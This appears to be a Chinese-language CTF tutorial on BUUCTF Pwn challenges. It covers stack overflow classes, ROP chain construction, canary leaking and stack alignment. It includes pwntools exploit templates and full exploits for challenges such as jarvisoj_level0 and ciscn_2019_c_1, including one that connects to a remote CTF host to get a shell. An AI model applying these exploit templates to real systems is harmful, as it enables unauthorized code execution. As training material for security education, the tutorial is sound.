BUUCTF Pwn 入门 32 题实战:5 类栈溢出漏洞利用与 3 种 ROP 链构造
📅 2026/7/11 9:02:41
👁️ 阅读次数
📝 编程学习
BUUCTF Pwn 入门 32 题实战:5 类栈溢出漏洞利用与 3 种 ROP 链构造
1. 栈溢出漏洞基础与分类
栈溢出是二进制安全领域最经典的漏洞类型之一。当程序向栈上的缓冲区写入超过其预定容量的数据时,就会覆盖相邻的内存区域,包括函数返回地址、栈帧指针等关键数据。根据利用方式的不同,我们可以将栈溢出漏洞分为以下5种主要类型:
1.1 ret2text(返回至代码段)
原理:通过覆盖返回地址直接跳转到程序中已有的危险函数(如system("/bin/sh"))。典型特征为程序本身存在后门函数。
利用条件:
- 存在可溢出的栈缓冲区
- 程序已导入
system等危险函数或有调用/bin/sh的代码片段
示例模板:
from pwn import * p = process("./vuln") ret_addr = 0x08049182 # 后门函数地址 payload = b'A'*offset + p32(ret_addr) p.sendline(payload) p.interactive()1.2 ret2libc(返回至libc)
原理:当程序没有直接可用的危险函数时,通过泄露libc地址计算出system和/bin/sh的实际地址,构造ROP链调用。
关键步骤:
- 泄露GOT表中某个函数的实际地址
- 计算libc基址
- 定位
system和/bin/sh地址
32位与64位差异:
| 架构 | 参数传递方式 | 栈对齐要求 |
|---|---|---|
| x86 | 参数压栈 | 无 |
| x64 | RDI/RSI/RDX寄存器传参 | 需16字节对齐 |
1.3 格式化字符串漏洞
特征:使用printf(s)而非printf("%s", s)时,若s用户可控,可通过%x泄露内存或%n写入内存。
利用技巧:
%n:将已输出字符数写入指定地址%{offset}$p:直接访问栈上第offset个参数
防御绕过:
# 当输入长度受限时 payload = p32(target_addr) + b"%10$n"1.4 整数溢出转栈溢出
触发场景:
unsigned int len; char buf[100]; read(0, buf, len); // 当len为-1时实际读取长度巨大利用模式:
- 通过整数溢出绕过长度检查
- 触发缓冲区溢出控制流
1.5 栈迁移技术
适用场景:溢出空间不足时,通过leave; ret指令序列将栈转移到可控区域(如.bss段)。
关键指令:
leave # mov esp, ebp; pop ebp ret # pop eip2. ROP链构造方法论
2.1 基础ROP构造
32位模板:
payload = flat( b'A'*offset, system_addr, 0xdeadbeef, # 返回地址 binsh_addr )64位模板:
payload = flat( b'A'*offset, pop_rdi, binsh_addr, ret_addr, # 栈对齐 system_addr )2.2 通用gadget利用
x86_64常见gadget:
rop = ROP("./vuln") rop.call("puts", [elf.got["puts"]]) rop.call("main")工具推荐:
ROPgadget --binary ./vuln | grep "pop rdi" ropper -f ./vuln --chain "execve cmd=/bin/sh"2.3 无libc情况下的利用
DynELF使用:
def leak(addr): payload = flat(offset, pop_edi, addr, puts_plt, main_addr) p.sendline(payload) return p.recv(4) d = DynELF(leak, elf=ELF("./vuln")) system_addr = d.lookup("system", "libc")3. 漏洞类型对比分析
下表总结了5类栈溢出漏洞的特征和利用方式:
| 类型 | 关键特征 | 利用难度 | 防御绕过方法 |
|---|---|---|---|
| ret2text | 存在后门函数 | ★☆☆☆☆ | 直接覆盖返回地址 |
| ret2libc | 需泄露libc地址 | ★★★☆☆ | 构造ROP链 |
| 格式化字符串 | 可控的printf参数 | ★★★★☆ | 精确计算偏移 |
| 整数溢出 | 无符号数校验缺陷 | ★★☆☆☆ | 输入超大值触发类型转换 |
| 栈迁移 | 溢出空间不足 | ★★★★☆ | 控制ebp实现栈转移 |
4. 实战案例精析
4.1 ret2text典型题解
题目:jarvisoj_level0
分析步骤:
- 检查保护机制:
checksec --file=level0 - IDA定位危险函数:
callsystem() - 计算偏移:
pattern create 200+pattern offset $ebp - 构造payload
完整exp:
from pwn import * context(arch="amd64", os="linux") p = remote("node5.buuoj.cn", 25252) payload = b'A'*0x88 + p64(0x400596) p.send(payload) p.interactive()4.2 ret2libc高级利用
题目:ciscn_2019_c_1
分阶段payload:
# 阶段1:泄露puts地址 rop1 = flat( b'A'*0x58, pop_rdi, puts_got, puts_plt, main_addr ) # 阶段2:计算system地址并getshell libc = LibcSearcher("puts", puts_addr) rop2 = flat( b'A'*0x58, pop_rdi, binsh_addr, ret_addr, # 栈对齐 system_addr )5. 防御绕过技巧
5.1 栈对齐处理
现象:64位程序调用system时出现movaps指令崩溃
解决方案:
payload = flat( b'A'*offset, ret_gadget, # 额外ret指令对齐 pop_rdi, binsh_addr, system_addr )5.2 Canary绕过方法
信息泄露:
# 通过格式化字符串泄露canary p.sendline("%23$p") canary = int(p.recvline(), 16)覆盖技巧:
payload = b'A'*offset + p32(canary) + b'B'*12 + p32(target)6. 工具链与调试技巧
GDB增强配置:
# ~/.gdbinit source ~/peda/peda.py set follow-fork-mode child实用命令:
b *main # 主函数断点 stack 20 # 查看栈20行 x/10i $eip # 反汇编10条指令 telescope $rsp # 智能解析栈内容内存泄露检测:
# 检测可泄露的地址 for i in range(1,50): p.sendline(f"%{i}$p".encode()) print(f"{i}: {p.recvline()}")
编程学习
技术分享
实战经验